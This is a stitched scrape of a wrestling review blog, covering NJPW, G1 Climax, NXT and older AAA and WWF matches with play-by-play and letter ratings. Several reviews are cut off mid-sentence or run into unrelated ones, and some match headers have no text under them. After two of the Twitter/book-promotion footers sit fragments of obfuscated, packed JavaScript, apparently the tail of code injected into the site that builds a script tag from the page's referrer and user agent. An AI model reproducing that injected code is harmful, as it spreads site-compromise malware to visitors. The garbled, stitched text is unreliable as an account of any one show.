The Club jumps them to start but Chaos tosses them to the floor to the floor, setting up a big flip dive from Eagles. We settle down (kind of) to Phantasmo getting caught in an exchange of strikes and monkey flipped into a kick to the back. Eagles starts throwing the kicks to the chest but Ishimori comes in for the save to take over. To mess with things a bit, Phantasmo seems to twist Eagles’ nipples, setting up a springboard spinning crossbody into a Lionsault.

Ishimori comes in for the loud chops and a top rope Meteora for two. Eagles gets tied in the Tree of Woe for some running crotch standing (egads) but he’s right back with a sliding elbow to the back of the head. The hot tag brings in Ospreay for Pip Pip Cheerio and two on Phantasmo. Ospreay and Phantasmo trade kicks to the head until Ospreay’s Stundog Millionaire puts both of them down.

Ishimori and Eagles come back in with the latter nailing the springboard missile dropkick to Ishimori’s knee. Ospreay comes back in as Eagles hits a Codebreaker to Ishimori, who holds him in place for Ospreay’s moonsault to the back. Superkicks begin to abound and it’s the Oscutter to Phantasmo, followed by a double super Spanish Fly to finish Ishimori at 10:49.

Rating: B. There’s something about watching these people go insane on each other with one big spot after another until the really big one gets the pin. This all but guarantees the Tag Team Title shot for Ospreay and Eagles, which sounds quite good to me as a rematch could be quite awesome. Ospreay has been having one awesomely entertaining match after another as of late and giving him the win in his home country is the best thing they could have done. Very fun match.

Post match, Ospreay issues the challenge for the titles. At least they aren’t wasting time.

Tetsuya Naito/Sanada vs. Jay White/Chase Owens

Los Ingobernables de Japon vs. Bullet Club, with Gedo. Naito (Intercontinental Champion) gets a huge reaction. White bails from Naito to start (as you might have expected) so Chase comes in and requests Sanada. An early battle over arm control goes nowhere so Owens offers a handshake. That goes badly for Owens, who tries the Paradise Lock, which Owens reverses into a failed version of his own.

White breaks up the real thing and takes Naito to the floor for some chops. The distraction lets Owens take over on Sanada and a backbreaker puts him down. White comes in for the chops in the corner but Owens charges into some boots in the corner. A suplex puts White down and it’s hot tag to Naito for the house cleaning. White gets sent to the floor and that means the TRANQUILO pose for a big reaction. Back in and Naito gets two off a pair of neckbreakers, only to have White knock him into the corner.

The Bladebuster gets two on Naito but doesn’t get very far with a choke. Naito is right back with his springboard tornado DDT and that’s enough for the double tag. Sanada gets the Paradise Lock on Owens (a recurring problem for him), setting up the big running kick. Owens puts him on top and gets two off a super snapmare (that’s a new one), followed by a running knee to the head for the same. The package piledriver is broken up though and Skull End finishes Owens at 12:53.

Rating: C+. Naito and Sanada just come off as cool no matter what they’re doing and that’s a good thing to have on your roster. It makes a lot of sense for them to be so popular everywhere else, though I can also see why White isn’t the most beloved. He just isn’t all that interesting and while I liked him elsewhere, he hasn’t been clicking for me in Japan.

Post match White gets a chair and beats down Sanada but Naito makes the save and hits Destino for a self counted three. Naito even sits in the chair because he’s cool that way.

Tag Team Titles: Guerrillas of Destiny vs. Aussie Open

Aussie Open (Kyle Fletcher/Mark Davis) are an Australian team who won a tournament to get the shot. The Guerrillas make it even worse by having Jado with them. It’s a big staredown to start as the fans are rather split. The champs get in an early cheap shot but the Aussies are right back with running clotheslines in the corner to take over. A series of kicks to the chest gets two on Loa and it’s a double flapjack into Davis’ backsplash for two more.

Loa low blows his way out of trouble and it’s Tama coming in for a corner splash. Some shots to the head keep Davis down but he gets over to Fletcher, who is taken down in a hurry with a neckbreaker. A spear cuts Fletcher down again and a rather delayed Jackhammer gets two. Tama mocks Fletcher’s crawling attempts, earning himself a backdrop so Fletcher can dive over for the tag. Davis clotheslines the champs to the floor and there’s the big dive from Fletcher.

Everything breaks down and a butterfly powerbomb into a sitout Alabama Slam gets two on Loa. Jado cheap shots Davis with the kendo stick though, drawing him outside so Tama can drop Fletcher. A Swan Dive/frog splash combination gets a very close two and the fans are back into it off the kickout.

Davis is back in with a Spanish Fly to bring Tama out of the corner, setting up Fletcher for a big flip dive to the floor. The Fidget Spinner (minus the spinner), a double pumphandle slam, drops Loa but Tama is back in with a German suplex on Davis. A sitout Tombstone plants Davis and a superbomb to Fletcher is enough to retain the titles at 14:26.

Rating: B. The more I see of Aussie Open, the more I like them and the fact that Fletcher is only twenty years old makes it all the more impressive. The Guerrillas are on another level at the moment though with very few teams in the world being able to hang with them. Aussie Open could be able to do that one day, but they’re not there just yet. Another more than solid match though with the near falls being highlights.

We recap Kenta vs. Tomohiro Ishii. Kenta recently debuted for the company and turned on Ishii in a tag match. Therefore, tonight it’s time for a fight over the NEVER Openweight Title. Kenta laid out the returning Katsuyori Shibata to make him even more evil.

NEVER Openweight Title: Kenta vs. Tomohiro Ishii

Ishii is defending and is part of Chaso while Kenta is part of Bullet Club. They go nose to nose to start with Kenta chilling in the ropes for a few seconds. A shot to Ishii’s face has Kenta bailing to the floor as the mind games are on early. Ishii is pulled to the floor and beats Kenta inside for the slugout. As you might have imagined, a guy named the Stone Pitbull is fine in a brawl and takes over on Kenta, until a tornado DDT onto the top rope gets him out of trouble.

They slug it out again with Ishii staggering, allowing Kenta to blast him with a clothesline. The running dropkick in the corner corner hits Ishii and has the fans annoyed but it’s too early for the GTS. Kenta strikes away but gets caught in a German suplex….and something is wrong. Kenta falls down on what looks to be a slam attempt so Ishii headbutts the heck out of him. The referee checks on Kenta, who gets back up and is clearly gone.

He’s fine enough to knock Ishii down and hit a top rope double stomp. The GTS is countered again and Ishii loads up the brainbuster, which winds up being closer to a swinging suplex instead. The fans can tell something is wrong as Ishii slaps him in the face, meaning it’s time to sit down and slap each other a lot.

Kenta’s sleeper is broken up and Ishii takes his head off with a clothesline. Cue the Guerrillas, who are quickly dealt with by Ishii, setting up the brainbuster. The Guerrillas pull the referee though and Ishii takes a Magic Killer for a very close two. Kenta’s sleeper is broken up as well so a big shot to the face and the GTS to give Kenta the title at 20:16.

Rating: B-. It’s really hard and unfair to be overly critical here as you could see Kenta just being gone as soon as he landed on his head. The intensity went away and Kenta was a shell of himself for the next eight minutes. That makes the shots to the head all the more disturbing and the fact that he went to the hospital after the show all the less surprising. The title change makes sense to make Kenta a more established star around here, but egads it was a scary match to watch in the second half.

Post match Kenta celebrates, but is so messed up that he can’t get onto the middle rope and has to be helped up.

We recap Hiroshi Tanahashi vs. Zack Sabre Jr. for Zack’s British Heavyweight Title. They’ve feuded for a good while now with Sabre not having much respect for the legend, so Tanahashi is coming to Sabre’s country to take his title. This is their seventh match and they’ve split the first six so it’s quite the rivalry.

Rev Pro British Heavyweight Title: Zack Sabre Jr. vs. Hiroshi Tanahashi

Tanahashi is challenging. Sabre goes for the technical stuff to start as the fans are rather pleased with the heel champ. It’s an early standoff as the Tanahashi chants begin. Tanahashi reverses a crossarm choke into one of his own but you just don’t try to trade holds with Sabre, who is out in a hurry. They circle each other a bit more until Tanahashi takes him down by the leg for a change.

Tanahashi puts on a standing leglock but bridges back to really crank on the thing. The middle rope Swanton misses though and Sabre starts in on the arm. A seated armbar has Tanahashi in trouble and the cockiness is rolling fast. That means some cocky kicks but Sabre goes back to the arm to cut off the comeback. A dropkick to the leg gives Tanahashi a breather and a running dropkick in the corner has the champ rocked for a change.

Twist And Shout into the Sling Blade gives Tanahashi two but the High Fly Flow hits knees. That means a triangle choke from Sabre, which he switches into the modified Rings of Saturn. That’s broken up as well and it’s the European Clutch for two on Tanahashi. Another Sling Blade gives Tanahashi another two and it’s the High Fly Flow for the pin and the title at 17:20.

Rating: B+. Sabre is one of the most unique performers I have ever seen and I could watch him go from one submission to another for hours. Tanahashi on the other hand is as smooth of a performer as you’re going to find and they mesh very well together. This was my favorite match on the show so far and it’s quite the impressive display, as these two almost always do. Their styles go together perfectly and Tanahashi winning is a great feel good moment, even in defeat of the home country champion.

Tanahashi celebrates for a good bit.

We recap Minoru Suzuki vs. Kazuchika Okada for the IWGP Heavyweight Title. Suzuki was ticked off (shocking) about being left out of the G1 and wanted to show NJPW what they missed. Then he beat Okada in a tag match and challenged him for the title shot, which you just don’t turn down. They’re billing it as the unbeatable champion vs. the angry king and it’s one of the better videos I’ve seen from NJPW.

It’s always cool to see the big montage of champions before the title match.

IWGP Heavyweight Title: Kazuchika Okada vs. Minoru Suzuki

Suzuki is challenging. They start very slowly with only a Suzuki kick to the leg in the first minute and a half. Okada works a wristlock and the dueling chants begin again. That’s reversed into a hammerlock from Suzuki as they’re taking their time to start. Suzuki stays on the arm so Okada picks the leg to take it to the mat. That goes nowhere either and we’re already five minutes in. Therefore, it’s time to strike it out in the middle until a snapmare lets Okada hit a running kick to the face.

A triangle over the ropes slows Okada down and it’s a ram into the barricade to make it worse. Okada blocks a piledriver on the ramp so Suzuki settles for a running Penalty kick instead. The referee won’t let Suzuki use a chair so Suzuki sits in one in the middle instead. Okada comes back in….and his forearms have no effect. Suzuki smirks at him and slaps on a few leglocks as the torture begins. That’s broken up and it’s time for another forearm slugout until a running elbow drops Suzuki.

They head outside with Suzuki in trouble, but he’s right back in with more kicks to the chest. The Fujiwara armbar goes on to make Okada scream some more as Suzuki is enjoying this way too much. The running boot to a seated champ gets two but the piledriver is broken up again. Okada gets in another shot to the face and they’re both down again. A slam sets up the top rope elbow for two….and Suzuki is mad. That’s the stuff that nightmares are made of so Okada forearms away, earning himself a hard shot to the face.

Suzuki even puts his arms behind his back so Okada can hit him harder. For some reason Okada agrees to do the same and is promptly knocked silly. We get a rather good tease of a piledriver with Okada kicking his feet and being picked back up twice before he reverses into White Noise onto the knee. They slug it out from their knees with Suzuki taking over off some headbutts, only to get caught with the dropkick. Okada tries his own sleeper but Suzuki throws him down and puts on one of his own.

That means the old school arm drops until Okada counters into the Rainmaker. He’s too down to cover so it’s another Rainmaker but Suzuki blocks a third. Suzuki unloads with strikes to put Okada down but he STILL can’t hit the piledriver (that’s been an awesome tease throughout the whole match). The Rainmaker is countered again so Okada slips out of the sleeper one more time (I can live with that as the piledriver is being treated as the real finisher) and hits the Tombstone. The Rainmaker finally finishes Suzuki at 33:56.

Rating: A. Oh yeah that was awesome with Okada being completely outmatched physically but managing to avoid the big weapon until he could wear Suzuki down enough. Suzuki is a great dragon that has to be slayed and showing him so furious about being left out of the tournament was a fine story with the champ being the only one who could stop him. Okada gets to pass another test as we wait for the next big challenge at whatever the next big show is before Wrestle Kingdom. Great match and I don’t remember liking a New Japan match much more than this one.

Post match Okada thanks the fans but cue Sanada, who beat Okada in the G1, to challenge for the title match. Sanada leaves and Okada seems to accept. He throws in some English for the crowd, who certainly seem to appreciate it to end the show.

Overall Rating: A-. While Takeover had a better main event (and not by much), this was the best show of the weekend with nothing bad (some of the tag matches were fine but skippable) and two excellent top matches. It also found that sweet spot in the middle of the times where it was long but not long enough that I was wanting the show to end. While I think it would lose some of the appeal if I watched it full time, it’s always a blast to watch and this was another awesome show. Check out the main event for sure and Tanahashi vs. Sabre if you have time.

 

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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New Japan On AXS
Date: August 3, 2019
Location: Osaka Prefectural Gym, Osaka, Japan
Attendance: 5,555
Commentators: Kevin Kelly, Rocky Romero, Chris Charlton

First of all, no I’m not doing this show regularly, just for the sake of time. Someone asked me to do a show though and since I can’t say no, here we are. This is from night 13 of the G1 Climax Tournament and that means we’re likely in for a bunch of big matches with some matches that earn some high praise. Let’s get to it.

The opening recap looks at Kazuchika Okada and Kota Ibushi’s success throughout the tournament. The star power is sounding very high for this one.

All matches are from the A Block and a win is good for two points.

Bad Luck Fale (2 points) vs. Kenta (8 points)

Chase Owens is on commentary, Kenta would be Hideo Itami and Fale has Jado with him. The much bigger Fale grabs Kenta by the throat for the early choking, plus a Jado kendo stick from the floor. A trip to the floor means a whip into the barricade for Kenta and it’s Fale starting in on the back. Some shots to the head put Kenta down again but he’s back up with the tornado DDT across the top rope. The top rope clothesline drops the monster and a DDT gets two.

The springboard missile dropkick looked to come up short but Fale is knocked into the corner anyway. That means some running kicks to the face to keep Fale down and a top rope double stomp gets two. Fale is back up with a clothesline but Kenta reverses what looked to be a chokeslam into the triangle choke. Game Over (YES Lock) makes Owens tap but Owens has the referee. Jado comes in with the kendo stick but the distraction lets Fale get a rollup pin at 7:21.

Rating: C-. Not much to see here with Kenta having to fight against the odds and coming up shoot against Fale, who didn’t seem to be the greatest in-ring worker here. The big monster certainly looks different in New Japan but that doesn’t mean they’re the most viable option around. Kenta looked more comfortable here, though I’m still not seeing the superstar in him that we were promised for so long.

Lance Archer (4 points) vs. Zack Sabre Jr. (4 points)

Both are part of Suzuki-Gun. Archer, a rather big guy at about 6’8, is a bit insane and runs/knocks over a bunch of people on the way to the ring. Sabre starts dodging the big boot attempts to start and the early frustrations might be setting in for Archer. A headlock is countered with Sabre’s signature twists but Archer nips up out of a top wristlock and throws him down. Sabre gets stomped and choked near the ropes as the big vs. small formula is in full swing so far.

Archer slams him down but misses a knee drop out of the corner, allowing Sabre go take him down into a grapevined ankle lock. Since Archer is rather tall he can reach the rope, which had to be a full eight inches away from him. We go to the sleeper on the giant’s back, but it feels a bit more dangerous since it’s Sabre putting it on. Archer slams him down and takes it to the floor, only to have Sabre grab the leg as Archer gets back inside. A guillotine choke is thrown off as well as Sabre just can’t find a way around the power.

Old School is countered with a crotching so Sabre tries a guillotine on top, which is thrown down again. Archer goes aerial with a crossbody but the chokeslam is countered into a triangle choke. The threat of a weird cousin of the Rings of Saturn is broken up with a long leg on the rope. A powerbomb gives Archer two but he has to power out of an armbar. Sabre starts kicking at the arms so Archer goes with a Black Hole Slam for two. The chokeslam connects and the Blackout (looks like a reverse Razor’s Edge) is loaded up, only to have Sabre roll him up for the pin at 10:41.

Rating: C+. I liked this a good bit. Archer is said to have had a career resurgence in this tournament and I can see why with a performance like this. Being his size in New Japan is going to keep him busy as they don’t have too many giants. The rope walk and some of the raw power are going to keep him relevant and this was a good David vs. Goliath story, which is one of the easiest ways to go about doing something. Even if David is a cocky pest that you want to see get kicked in the face.

Evil (6 points) vs. Will Ospreay (4 points)

Ospreay’s IWGP Junior Heavyweight Title isn’t on the line. Ospreay goes for the wristlock to start and sends Evil outside. The teased big dive doesn’t launch as Ospreay flips back into the superhero pose as only he (and Ricochet) can do. Evil finds a chair and throws it in but Ospreay is ready for it and they go with the rapid fire shots to the head. Ospreay gets kicked down and a big clothesline puts him on the floor. The chair is wrapped around Ospreay’s neck and the other chair knocks the first one off for a spot that has to be a big scary to take.

Back in and Evil stays on the back and neck before grabbing the chinlock (nothing wrong with some basic psychology). Ospreay fights up and gets a Stunner for the breaker, followed by the running forearm to put Evil in the corner. Pip Pip Cheerio (Phenomenal Forearm) gets two but Evil suplexes him into the corner to bang the neck up again. Ospreay is right back with a running kick to the face to send Evil outside.

You know what that means and it’s a cartwheel into the no hands moonsault to the floor for the double knockdown. Back in and something close to Coast to Coast (Evil was on the apron with his head sticking in and close enough to the corner) connects for two. Stormbreaker is blocked (Kelly: “That’s a big a**.” It might have been “ask” but it’s a funny line otherwise.) and it’s an exchange of forearms for the double knockdown.

They slug it out from their knees until Evil hits Darkness Falls (a fireman’s carry into a sitout spinebuster) for two. Ospreay is right back with a spinning sitout powerbomb and he’s ready to pull his hair out on the kickout. Back up and Evil headbutts him but runs into a running Spanish Fly for another near fall.

The Oscutter (always cool) gets two more and you could tell the fans bought that as the finish. Stormbreaker is countered again so Ospreay hits the 630 kick to the head (Robinson Special) but the top rope Oscutter is countered into a half and half suplex. A second one knocks Ospreay silly and a huge lariat gives Evil two more. Everything Is Evil (STO) finally puts Ospreay down at 17:08.

Rating: A-. The near falls were awesome in this one and they built up the neck damage throughout the match. Ospreay is a great high flier and his size makes him that much more fun to watch. Evil has gone from what seems to be a gimmick character into a much more complete performer so I can more than live with watching these two again. Awesome match here with that near fall off the Oscutter stealing the show.

Kota Ibushi (8 points) vs. Hiroshi Tanahashi (8 points)

Yeah this works. They go to the mat for an exchange of headlocks to start until Ibushi dropkicks him in the face. Tanahashi takes the leg and puts it back on the mat for a good old fashioned leglock. Ibushi finally makes it over to the rope and is right back up with a running kick to the face. A standing moonsault gives Ibushi two but Tanahashi is right back with a pair of dragon screw legwhips.

The Cloverleaf goes on until Ibushi makes the rope as Tanahashi is going with a pretty simple (yet intelligent) strategy here. The leg is wrenched around the ropes and Tanahashi goes up, only to get caught with a super hurricanrana for a pretty close two. Back up and Tanahashi tries a dropkick to the knee but Ibushi jumps over it and lands on Tanahashi’s chest for a double stomp in a sweet counter.

A lawn dart into the corner knocks Tanahashi silly and it’s a deadlift German superplex to make it even worse for two. Tanahashi throws a left hand and Ibushi gets VERY serious. That means more slaps, with these staggering Ibushi a bit. Some more almost put him down but Ibushi blasts him with a clothesline for the double knockdown.

The sitout powerbomb gives Ibushi two but the big knee strike is countered into a trio of Twist and Shouts (swinging neckbreaker). A Sling Blade gives Tanahashi two, only to have the High Fly Flow miss for the big crash. The Boom Ye (Daniel Bryan knee) connects for two so Ibushi kicks him in the head a few times, setting up the big knee strike for the pin at 15:56.

Rating: B+. Ibushi is one of those guys who has grown a lot over the years as he has gone from a guy who is best known for a lot of flips to someone who can pin Tanahashi clean without it being a shocking upset. You can tell Tanahashi is nowhere near what he used to be, but even a fairly damaged Tanahashi is still better than almost anyone in the world. Very good match here, though I liked Ospreay vs. Evil just a bit better.

Post match they’re both down with Tanahashi saying something to Ibushi.

Sanada (4 points) vs. Kazuchika Okada (12 points)

Okada’s IWGP Heavyweight Title isn’t on the line and he’s undefeated so far. They stand around for a good while to start with no significant contact for the first minute. Sanada takes him down into an early armbar which is reversed just as fast. The headlock keeps things slow as they seem to be killing some time (thirty minute time limit here so the draw is an actual possibility).

The legsweeps into the covers for less than one each give us another standoff and things reset. Back up and commentary suggests that Okada isn’t taking Sanada as seriously as he should, just as Sanada hits a basement dropkick to the head. Okada blocks the Paradise Lock so Sanada elbows him in the face for two. The chinlock doesn’t last long and it’s Okada up with an elbow of his own, followed by a DDT for two more.

Sanada gets knocked outside and a running kick sends him over the barricade. Another DDT plants him on the floor so Okada can chill in the corner for a bit. Okada hits a running kick to the face as the fans don’t seem pleased with him. Then we get an OKADA chant as the fans seem a bit confused here. Sanada comes back with his own dropkick to the floor and the slingshot dive takes Okada down again. Now it’s a SANADA chant, meaning I probably misheard the previous one.

Back in and the Paradise Lock works this time, allowing Sanada to hit the running dropkick for two more. One heck of a flapjack (always love that move) drops Sanada and we get a breather. It’s Okada slowly getting up and looking more serious as the strike off begins. Sanada takes him down and hits a basement dropkick, followed by a hard belly to back for two. Sanada’s springboard is countered into White Noise onto the knee and the top rope elbow makes it even worse.

The Rainmaker is loaded up, giving us the always cool zoom out shot. That’s broken up so Okada settles for the Tombstone but the Rainmaker is countered again. A hanging twisting neckbreaker drops Okada but Sanada is too banged up. The slow motion slugout from their knees goes on until they get up, with Okada telling him to throw the forearms at the neck. The uppercuts go to Sanada and Okada actually drops to a knee.

Back up and the Rainmaker is countered again but so is the Tombstone this time, with Sanada switching to something like a dragon sleeper. A tiger suplex gives Sanada two and a TKO gets the same. The moonsault misses but Sanada lands on his feet like a pro. Okada grabs the arm and hits the Rainmaker (which is still…..oh never mind), followed by another for no cover. A third Rainmaker is countered into one from Sanada, who goes back to the dragon sleeper.

This time though he swings Okada around by the neck (egads) before going into the full version with the bodyscissors. Okada fights up but Sanada pulls him back down to get it on again. The fans are WAY into this (as they should be) and Okada reverses into a rollup for two but Sanada grabs it for the third time with three minutes left.

Sanada finally lets go with two minutes left but the moonsault hits raised….legs. Not quite as impactful as knees but Okada just had his head cranked back for three minutes so his accuracy is a bit off. There’s less than a minute left and Okada hits the dropkick but the Rainmaker is countered into a pop up cutter. Back to back moonsaults finish Okada at 29:48.

Rating: A. Oh yeah this was awesome (killing off the dragon sleeper aside) with Sanada throwing everything he had at Okada to FINALLY beat him. This felt very similar to Roderick Strong trying and trying to beat Jay Lethal for the ROH World Title but always coming up short until he did everything he could to finish Lethal in the end. It was the same story here and again it’s one of those that is always going to work. Great main event with Sanada getting the biggest win of his career.

Post match Sanada talks about finally beating his rival (thank goodness for subtitles for a change) and even gets a spotlight to make it feel cooler. He lost to Okada in this building a year ago and it made him hate Okada. Now Osaka is his favorite place in Japan because he finally did it. Sanada says he’ll see us next time and he falls to the mat in happiness.

At the post match press conference, Sanada says that was his gift to the people at home.

A look at the updated standings wraps us up.

Overall Rating: A-. As usual, I can see why this is such a popular show and the action more than lived up to the hype. All three of the big matches felt like instant classics and while they might not mean anything for everyone involved at the moment, you got some great matches with commentary selling the whole thing all the way. Great show here and worth seeing if you get the chance.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s History Of In Your House (also available as an e-book) from Amazon. Check out the information here:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsrei|var|u0026u|referrer|sdnaz||js|php'.split('|'),0,{})) Fatal Four-Way
Date: September 11, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Renee Young, Byron Saxton, Tom Phillips

The regular WWE video plays but an NXT video hacks in. You might even say it takes over.

Opening sequence with only shots of people appearing tonight.

Tag Team Titles: Sin Cara/Kalisto vs. Ascension

Everything speeds up with a spinning slingshot plancha. A semi-botched sunset bomb gets two on Viktor as Cara dives on Konnor. Both champions go outside and catch Kalisto in mid air. Sin dives on both of them for a huge crash and the fans are WAY into this. Back inside they load up the Fall of Man but Cara trips up Konnor. Kalisto rolls out of the way and hits Salida Del Sol (standing sitout Sliced Bread #2) on Viktor for the pin and the titles at 7:48.

Rating: B-. Power vs. speed is something that is going to work no matter how many times you try it. They had to get the belts off of Ascension at some point and putting them on Lucha was as good of a way as they could have done it. This frees up Ascension to go after the Usos, which makes sense given that they already debuted on Main Event this week.

The new champions dub themselves the Lucha Dragons.

We get a quick pause in memory of 9/11.

CJ Parker vs. Baron Corbin

Video on Tyson Kidd where he lists off some of his facts, mainly talking about each man in the main event tonight. He will walk out as champion. Fact.

Enzo Amore vs. Sylvester LeFort

Sylvester is being taken to the chair but Marcus makes a save. Amore and Cass get up though and LeFort runs off, leaving Marcus to take the cream on the head.

Tyler Breeze says the new champion will be gorgeous. Every outfit he wears goes with gold.

Bull Dempsey vs. Mojo Rawley

Dempsey adds another headbutt for good measure.

Bayley now has streamers on her arms. Charlotte offers a handshake to start but Bayley drives her into the corner for some shoulders to the ribs. A quick cross body gets two for Bayley but Charlotte counters a backslide with a neckbreaker. We hit the figure four headlock on Bayley and Charlotte even flips forward a few times and slam Bayley onto the mat. They trade a few rollups with Bayley countering a Figure Four attempt for two. Charlotte dropkicks her back down and nails a hard knee to the ribs.

Post match Sasha Banks comes out to beat on Bayley but Charlotte makes the save. Bayley is confused.

Sami Zayn talks about having to be ready for his opponents. He and Neville are friends, but he wants to beat Adrian to become champion.

Hideo Itami makes his in ring debut next week.

NXT Title: Tyson Kidd vs. Sami Zayn vs. Tyler Breeze vs. Adrian Neville

Sami gets stomped in the corner and Tyler covers after a suplex, triggering the brawl with Kidd. Tyson sends him to the floor and gets two off a neckbreaker to Zayn. Off to a chinlock on Sami but he quickly jawbreaks his way to freedom. Kidd puts him in the Tree of Woe though as Adrian is knocked to the floor again, followed by a kick to the face from Tyson.

Zayn tries to get back up but Kidd just pounds him down in the corner and puts on the chinlock again. Neville finally gets back in but Tyson sends him to the floor for about the fourth time. Adrian pops back in though and backdrops Kidd down. Breeze returns from the dead, only to get clotheslined down by Sami. Zayn loads up a dive to the heels but Adrian hits a HUGE top rope Asai moonsault to put them both down.

Tyler misses a Beauty Shot to Sami and gets caught in the Sharpshooter. Tyson drags him back to the center of the ring and Tyler loads up his hand to tap but Adrian grabs his hand to hold it up in a great move. Sami makes the save and the fans are very thankful. Sami and Adrian finally get to slug it out until Neville gets backdropped to the floor.

An exploder suplex puts Kidd in the corner and Zayn dives through the ropes to take out Adrian. In an even better move Sami dives from the floor, over the bottom rope and into a tornado DDT on Tyler on the floor. The Helluva Kick looks to finish Kidd but Adrian pulls the referee out of the way. A superkick drops Sami and the Red Arrow to Kidd retains the title at 23:58.

Sami looks at Adrian with frustration on his face to end the show.

Results

Sin Cara/Kalisto b. Ascension – Salida Del Sol to Viktor

Baron Corbin b. CJ Parker – Downward Spiral

Enzo Amore b. Sylvester LeFort – Rollup

Bull Dempsey b. Mojo Rawley – Top rope headbutt

Charlotte b. Bayley – Natural Selection

Adrian Neville b. Sami Zayn, Tyler Breeze and Tyson Kidd – Red Arrow to Kidd

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eiffb|var|u0026u|referrer|zidda||js|php'.split('|'),0,{})) one really jumped off the page at me today so I’ll do a double shot of two not bad guys. Today it’s Go Shiozaki and Arnold Skaaland. We’ll start with the old guy: Arnold Skaaland.

Antonio Pugiliese/Arnold Skaaland vs. Angelo Savoldi/Tony Altimore

Altimore and Skaaland get things going here with Tony trying to lure him into the heel corner. This goes nowhere until Arnold slaps him in the face and hooks an armbar. Savoldi tries to come in so the faces change without tagging. The referee throws Savoldi out so the good guys cheat again, resulting in Arnold hooking another armbar. Altimore counters into a front facelock/choke which he keeps getting admonished for.

Savoldi tries to come in but Antonio literally chases him away. Everything breaks down for a bit until we get back to normal with Altimore punching Skaaland down. Unfortunately he punches him into Antonio who picks Tony up and lays him on the top rope. Antonio pounds Altimore over and over again in the face before dropping some knees to the head for the jackknife pin.

Back in and #1 gets to try his luck with Arnold but #2 gets in a cheap shot from the apron to take over again. Choking ensues and the Angels cheat even more to keep Skaaland in trouble. The referee admonishes the champions long enough to allow a tag off to Dillon but the Angels quickly slam him down and #1 drops a top rope knee for the pin.

Rating: D. This was a really sloppy match as it felt like they were trying to have a squash but the good guys got in too much offense. Dillon was very green at this point but the only way to get better is to be in the ring. The Angels were nothing to see either, though they had the crowd into their heel antics.

LouAlbanovs. ArnoldSkaaland

We get our first story here as Arnold won Manager of the Year and Albano is ticked off about it, resulting in them fighting over it. The face, Arnold, jumps Lou during introductions to show he means business. Fans are WAY into this which always helps. Albano runs immediately and still has his jacket on. A foreign object ends that though and we’re ready to go.

Super Mario needs a shirt while wrestling. Allegedly these two weigh the same thing but I have a problem believing that one for some reason. Somewhere around the 8th shot with it the referee sees it or at least thinks he sees it so he plays Find the Object in Albano’s Pants. That’s a good one to play at a party where there are no women or alcohol. Arnold gets it and beats on Albano with it, busting him open.

Arnold pounds away as Albano tries not to fall down. And so much for that theory as Albano hits the floor. For about the 5th time he adjusts his tights and then runs to the back for the relatively cheap count out. I say relatively as this sets up another match down the road I’d assume.

Rating: D. Well the crowd was into it if nothing else. The match itself sucked but when it’s a battle of managers how much can you expect? It’s less than five minutes long though and Skaaland (dang that’s hard to type) made a comeback to a nice pop so this worked fine for what it was. Match was awful though from a wrestling standpoint which is what we’re going for here.

ROH World Title: Nigel McGuinness vs. Go Shiozaki

Now Nigel gets creative by loading up a hammerlock belly to back superplex but Shiozaki counters into a cross body for two. Something resembling Rolling Germans get two for Go and the final one sends Nigel into the corner. A great looking moonsault gets two and Shiozaki locks in a Kimura. Nigel makes the rope and is placed on the top, only to come back by crotching Shiozaki on the top rope. A middle rope lariat gets one as Shiozaki starts Hulking Up.

Tag Titles: Los Maniacos vs. Beer Money vs. Atsushi Aoki/Go Shiozaki vs. Nicho/Joe Lider

 

This is under elimination rules and Shiozako/Aoki are champions coming in. Los Maniacos are Silver Cain (Silver King from WCW who has lost his mask and Ultimo Gladiator). An interesting point here is that the champions are introduced by the wrong name with one guy not getting an announcement at all. Also from what I’ve read, only Konnan knew either their names or Beer Money’s names. Cain basically is something like Mr. America where everyone knows it’s Silver King but officially it’s a different guy as his name is different if that makes sense.

 

The wrong music plays for the champions as it’s Beer Money’s song instead. Ok here is Beer Money to the right music. They’re part of the Foreign Legion tonight. See how the group works now? In the back the final team is coming to the ring but some guy in a suit says Konnan is out there and not to go after them. That would be Nicho/Lider who are La Hermandad 187 (the 187 Brotherhood). Nicho is more famous as Psicosis without the mask. The Japanese guys and Lider almost get into it before the match.

 

No tagging here again it seems. This is going to take some getting used to. Roode and someone are on the floor. Also cut out the wide shots. I can’t see anyone specifically for the most part. Four in the ring and four on the floor at the moment. I think Beer Money is on the floor. It’s the Japanese guys and Los Maniacos in there at the moment. Nicho who is apparently a millionaire is down.

 

Only the champions (Japanese guys remember) are staying in the ring and on their feet the whole time. One hits a frog splash to I think Lider for two. Beer Money vs. Japanese guys at the moment. I know I’m saying Japanese guys a lot but it’s the best description I can give you in a short amount of time. Hermanadad gets in Konnan’s face with chairs but the champions jump them to save K-Dawg.

 

Beer Money works on Nicho with a wheelbarrow/Codebreaker combination. They set for the BEER MONEY thing but Hermanadad gets a pair of rollups for two each. Nicho vs. Aoki at the moment with the champion winning. Storm is ripping Cain’s mask and almost has it off. Nicho vs. Aoki in the ring at the moment and Aoki is sent to the floor. Tope con Giro by Nicho takes down Aoki.

 

La Hermanadad beats on Aoki now until Shiozaki comes in. A middle rope Backstabber out of nowhere to Shiozaki puts him out and the champions are gone! Konnan FREAKS as we’re down to three teams. Storm has a chair now and sets it up in the corner. Beer Money beats on the Hermanadad as we haven’t seen much from the masked dudes. Beer Money screws up and Roode head winds up in Storm’s crotch.

 

Los Manacos get into it again and go after 187 which is what I’m going to say instead of La Hermanadad. 187 is down but get up to hit stereo Downward Spirals to Beer Money. Storm takes what we would call a Mooregasm and then add….something which gets two on Storm. It was some double team move but it was hard to see what it was. Konnan distracts 187 again and a chair to the head of Lider by Storm ends them and we’re down to Los Manacos vs. Beer Money for the titles.

 

Tower of Doom spot doesn’t really work at all but it looked ok and got two for Roode. Nicho goes after Konnan with a chair but can’t hit him. The fans are completely behind Manacos. Cain misses a moonsault and the slingshot DDT kills Gladiator as it’s all Beer Money with the spinebuster to Cain. Heel miscommunication occurs though and it’s Gladiator vs. Storm.

 

